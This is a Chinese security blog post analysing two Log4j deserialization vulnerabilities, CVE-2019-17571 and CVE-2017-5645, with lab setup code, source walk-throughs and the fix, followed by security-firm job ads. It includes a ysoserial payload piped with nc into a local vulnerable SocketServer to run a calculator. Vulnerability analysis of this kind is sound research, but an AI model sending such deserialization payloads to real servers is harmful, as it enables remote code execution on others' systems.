Log4j-Unserialize-Analysis
Posted 雷神众测
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Log4j-Unserialize-Analysis相关的知识,希望对你有一定的参考价值。
No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
概述
12/20 的时候就看到 Log4j 这个反序列化漏洞,看了眼影响版本 1.2.4 <= Apache Log4j <= 1.2.17(最新版) 。心想这个组件用的人很多啊,几乎Java开发的系统用作日志记录都是这个组件,但是深入看看之后我才发现,这年底了原来大家都缺kpi啊。
No.3
漏洞分析
看了眼描述,出问题的是 SocketServer 这个类,而且这里最后提到这个漏洞最初被一个团队发现过了,CVE编号是 CVE-2017-5645 。这我就纳闷了,既然被发现了为什么还申请编号。
等我继续深入看一下我才发现版本不对,类名不对,内心大大的一个wtf(形容一件事情出人意料,令人惊叹,所以下面分开来看看这两个洞。
CVE-2019-17571
漏洞环境搭建
第一种方法下利用下面的方法,在JDK7u21起一个SocketServer服务,即可通过第二条命令触发漏洞。
java -cp /Users/l1nk3r/Downloads/apache-log4j-1.2.17/log4j-1.2.17.jar org.apache.log4j.net.SocketServer 8888 /Users/l1nk3r/Downloads/apache-log4j-1.2.17/examples/lf5/InitUsingLog4JProperties/log4j.properties /Users/l1nk3r/Downloads/apache-log4j-1.2.17
java -jar ysoserial-master-55f1e7c35c-1.jar Jdk7u21 "open /System/Applications/Calculator.app" | nc 127.0.0.1 8888
第二种方法
pom.xml 文件引入一个 gadget 依赖,以及漏洞版本。
//pom.xml<!-- https://mvnrepository.com/artifact/log4j/log4j -->
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
因为在 org.apache.log4j.net.SimpleSocketServer 这个方法中通过传入两个参数,这俩个参数分别是端口信息,以及 log4j 的配置文件,就可以创建一个 ServerSocket 对象等待通信。
下面的代码是基于 JDK 8u40 下启动的。
import org.apache.log4j.net.SimpleSocketServer;public class Log4jdemo { public static void main(String[] args){
String[] arguments = {"12345","src/log4j.xml"};
SimpleSocketServer.main(arguments);
}
}
漏洞分析
当 socketServer 启动的时候,我们通过nc发送漏洞payload,服务端的 serverSocket.accept() 接收到请求之后会创建一个线程,处理 SocketNode 这个类。
跟进 SocketNode 这个类之后就发现它通过 BufferedInputStream 获取到通过 Socket 传入的 payload 。
经过 SocketNode 这个类的实例化,以及接收到payload之后,这里有个 new Thread().start() 的过程,也就是说这个线程启动。
(new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "SimpleSocketServer-" + port)).start()
在 Thread 方法中的 Runnable 对象正是实例化后的 SocketNode 这个类。
public Thread(Runnable target, String name) {
init(null, target, name, 0);
}
然后在 java.lang.Thread#run 会调用 target.run() ,而这里的 target 对象正是 SocketNode 这个类。
在 SocketNode.run 方法中,正是反序列化的触发点了,真的是简单粗暴的漏洞触发呀。
CVE-2017-5645
漏洞环境搭建
import java.io.IOException;import java.io.ObjectInputStream;import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge;import org.apache.logging.log4j.core.net.server.TcpSocketServer;public class Log4jDemo2{ public static void main(String[] args)
{
TcpSocketServer<ObjectInputStream> Log4jServer = null; try
{
Log4jServer = new TcpSocketServer(12345, new ObjectInputStreamLogEventBridge());
} catch (IOException e)
{
e.printStackTrace();
}
Log4jServer.run();
}
}
//pom.xml
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
漏洞分析
创建 TcpSocketServer 对象的时候,代入了 port(端口变量) 以及 ObjectInputStreamLogEventBridge 对象,在这个对象里面有反序列化的入口。
之后调用 TcpSocketServer#run 开始运行。
这个run方法存在的意义实际上是因为 TcpSocketServer 继承于 AbstractSocketServer 。
而这个 AbstractSocketServer 抽象类继承了 Runable 接口, Runable 接口在Thread这个方法作用相信熟悉Java的都不太陌生。所以实际上这个run方法的作用就是把客户端连接分发给 SocketHandler 进行处理。
当客户端发送Socket请求过来的时候 serverSocket.accept 会接收到来自客户端的 Socket 请求。
然后 TcpSocketServer#SocketHandler 会创建一个新的 ObjectInputStream对 象,对象内容正是我们客户端传入的payload。
public SocketHandler(Socket socket) throws IOException { this.inputStream = TcpSocketServer.this.logEventInput.wrapStream(socket.getInputStream());
}public ObjectInputStream wrapStream(InputStream inputStream) throws IOException { return new ObjectInputStream(inputStream);
}
而此时我们的 handler 对象正是我们的线程对象,也就是说实际上这里就是 Thread.start,而线程对象里面的是 TcpSocketServer 这个类,所以这里 start 后执行的自然是 TcpSocketServer 里的 run 函数。
反序列化的过程中 TcpSocketServer#run 方法里 TcpSocketServer.this.logEventInput 对象实际上就是我们前面最开始封装的 ObjectInputStreamLogEventBridge 这个类。所以这里实际上调用的是 ObjectInputStreamLogEventBridge#logEvents 方法。
而在 ObjectInputStreamLogEventBridge#logEvents 方法中自然就看到了我们的反序列化触发点。
No.4
漏洞修复
当然针对反序列化漏洞修复一般都是在 resolveClass 或者 resolveProxyClass 处进行检查,这个也不例外。
检查方法 org.apache.logging.log4j.core.util.FilteredObjectInputStream.resolveClass ,判断类名是否是 org.apache.logging.log4j. 开头。
No.5
小结
emmmm,CVE-2019-17571这个洞可以说是混kpi了,然后log4j这种Tcp分布式传输日志的方式蛮少见的,利用面不好判断,不过如果在内网环境下可能有一定的利用面吧。
No.6
招聘启事
雷神众测SRC运营(实习生)
————————
工作地点:杭州(总部)、广州、成都、上海、北京
雷神众测白帽运营(实习生)
————————
工作地点:杭州(总部)、广州、成都、上海、北京
【岗位职责】
1.准确了解白帽子爱好,发掘白帽子需求
2.负责各类周边、礼物的挑选与采购
3.对黑客文化有深刻认知
4.维护白帽关系
【任职要求】
1.具有良好的审美眼光
2.具备定制礼品礼物经验
3.较强的沟通以及协调能力
4.为人正直,具备良好的职业道德,能吃苦耐劳,具有良好的团队合作精神
【加分项】
1、具备美术功底、懂得设计美化等
2、有互联网运营经验
简历投递至 strategy@dbappsecurity.com.cn
设计师
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
简历投递至 strategy@dbappsecurity.com.cn
安全招聘
————————
公司:安恒信息
岗位:Web安全 安全研究员
部门:安服战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)
【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至 strategy@dbappsecurity.com.cn
安全服务工程师/渗透测试工程师
工作地点:新疆
1、掌握渗透测试原理和渗透测试流程,具备2年以上渗透测试工作经验,能够独立完成渗透测试方案和测试报告;
2、熟悉风险评估、安全评估;
3、熟练掌握各类渗透工具,如Sqlmap、Burpsuite、AWVS、Appscan、Nmap、Metasploit、Kali等;
4、熟练掌握Web渗透手法,如SQL注入、XSS、文件上传等攻击技术;
5、至少熟悉一种编程语言(php/java/python),能够独立编写poc者优先;
6、具有良好的沟通能力和文档编写能力,动手能力强;
7、对工作有热情,耐心、责任心强,具备沟通能力和良好的团队意识;
8、加分项:有安全开发经验/可进行代码审计工作;
9、加分项:有安全和网络相关证书,如CISSP、CISA、CISP 、CCNP、CCIE等认证者;
岗位职责:
1、参与安全服务项目实施,其中包括渗透测试与安全评估,代码审计,安全培训,应急响应;
2、独立完成安全服务项目报告编写,输出安全服务实施报告;
简历投递至 strategy@dbappsecurity.com.cn
专注渗透测试技术
全球最新网络攻击技术
END
以上是关于Log4j-Unserialize-Analysis的主要内容,如果未能解决你的问题,请参考以下文章